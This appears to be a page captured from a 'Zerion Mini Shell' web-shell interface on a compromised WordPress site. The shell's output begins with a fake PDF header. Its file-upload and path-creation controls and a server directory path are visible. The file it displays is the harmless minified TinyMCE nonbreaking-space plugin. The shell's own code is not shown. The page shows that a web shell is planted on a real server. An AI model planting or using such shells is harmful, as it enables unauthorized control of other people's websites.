%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/emergentqj/jugement/wp-content/plugins/wp-edit/plugins/nonbreaking/
Upload File :
Create Path :
Current File : /home/emergentqj/jugement/wp-content/plugins/wp-edit/plugins/nonbreaking/plugin.min.js

tinymce.PluginManager.add("nonbreaking", function(n,url) {
    var e = n.getParam("nonbreaking_force_tab");
    if (n.addCommand("mceNonBreaking", function() {
            n.insertContent(n.plugins.visualchars && n.plugins.visualchars.state ? '<span class="mce-nbsp">&nbsp;</span>' : "&nbsp;"), n.dom.setAttrib(n.dom.select("span.mce-nbsp"), "data-mce-bogus", "1")
        }), n.addButton("nonbreaking", {
            image: url + '/nonbreaking.png',
            title: "Nonbreaking space",
            cmd: "mceNonBreaking"
        }), n.addMenuItem("nonbreaking", {
            text: "Nonbreaking space",
            cmd: "mceNonBreaking",
            context: "insert"
        }), e) {
        var a = +e > 1 ? +e : 3;
        n.on("keydown", function(e) {
            if (9 == e.keyCode) {
                if (e.shiftKey) return;
                e.preventDefault();
                for (var t = 0; a > t; t++) n.execCommand("mceNonBreaking")
            }
        })
    }
});

Zerion Mini Shell 1.0